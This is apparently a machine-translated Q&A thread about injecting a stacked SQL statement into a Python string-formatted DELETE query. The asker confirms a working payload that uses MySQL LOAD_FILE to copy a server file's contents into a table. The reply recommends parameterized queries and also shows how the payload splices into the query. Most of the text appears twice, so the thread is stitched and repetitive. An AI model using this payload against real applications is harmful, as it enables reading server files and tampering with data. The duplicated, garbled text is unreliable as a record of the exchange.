OperationalError: (1292, 'Truncated incorrect DOUBLE value: \'1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');"-- \' ')
OperationalError: (1292, 'Truncated incorrect DOUBLE value: \'1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');"-- \' ')
我想注入这个字符串 - 以便它将 table foo 中的文本更新为文件中的红色文本(我不关心它对之前的删除语句做了什么)
"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');\"-- "
进入 python 代码,其中 id 设置为我的字符串:(这不能更改,因为它已给出)
"DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s\';"%(str(user_id), str(id))
编辑:
它是这样工作的(没有最后一个引号和 #- 而不是 --):
"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "
您不需要反斜杠,如果 id 是整数,您也不需要 '.你应该这样重写它:
"DELETE FROM bar WHERE user_id = '%s' and bar_id = '%s';"%(str(user_id), str(id))
并且您应该使用准备好的语句来避免 sql 注入。您可以像这样使用准备好的语句(在这个语句中,您必须去掉 ')
cursor.execute("DELETE FROM bar WHERE user_id = %s and bar_id = %s;",(str(user_id), str(id),))
编辑
如果你做类似的事情:
x="1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); --"
y="DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s" % (2,x)
你得到的是
DELETE FROM bar WHERE user_id = '2' and bar_id = '1'; UPDATE foo SET text = LOAD_FILE('/something/something.txt'); --
它是这样工作的(没有最后一个引号和 #- 而不是 --):
"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "
我想注入这个字符串 - 以便它将 table foo 中的文本更新为文件中的红色文本(我不关心它对之前的删除语句做了什么)
"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\');\"-- "
进入 python 代码,其中 id 设置为我的字符串:(这不能更改,因为它已给出)
"DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s\';"%(str(user_id), str(id))
编辑: 它是这样工作的(没有最后一个引号和 #- 而不是 --): "1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "
您不需要反斜杠,如果 id 是整数,您也不需要 '.你应该这样重写它:
"DELETE FROM bar WHERE user_id = '%s' and bar_id = '%s';"%(str(user_id), str(id))
并且您应该使用准备好的语句来避免 sql 注入。您可以像这样使用准备好的语句(在这个语句中,您必须去掉 ')
cursor.execute("DELETE FROM bar WHERE user_id = %s and bar_id = %s;",(str(user_id), str(id),))
编辑 如果你做类似的事情:
x="1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); --"
y="DELETE FROM bar WHERE user_id = \'%s\' and bar_id = \'%s" % (2,x)
你得到的是
DELETE FROM bar WHERE user_id = '2' and bar_id = '1'; UPDATE foo SET text = LOAD_FILE('/something/something.txt'); --
它是这样工作的(没有最后一个引号和 #- 而不是 --):
"1\'; UPDATE foo SET text = LOAD_FILE(\'/something/something.txt\'); #- "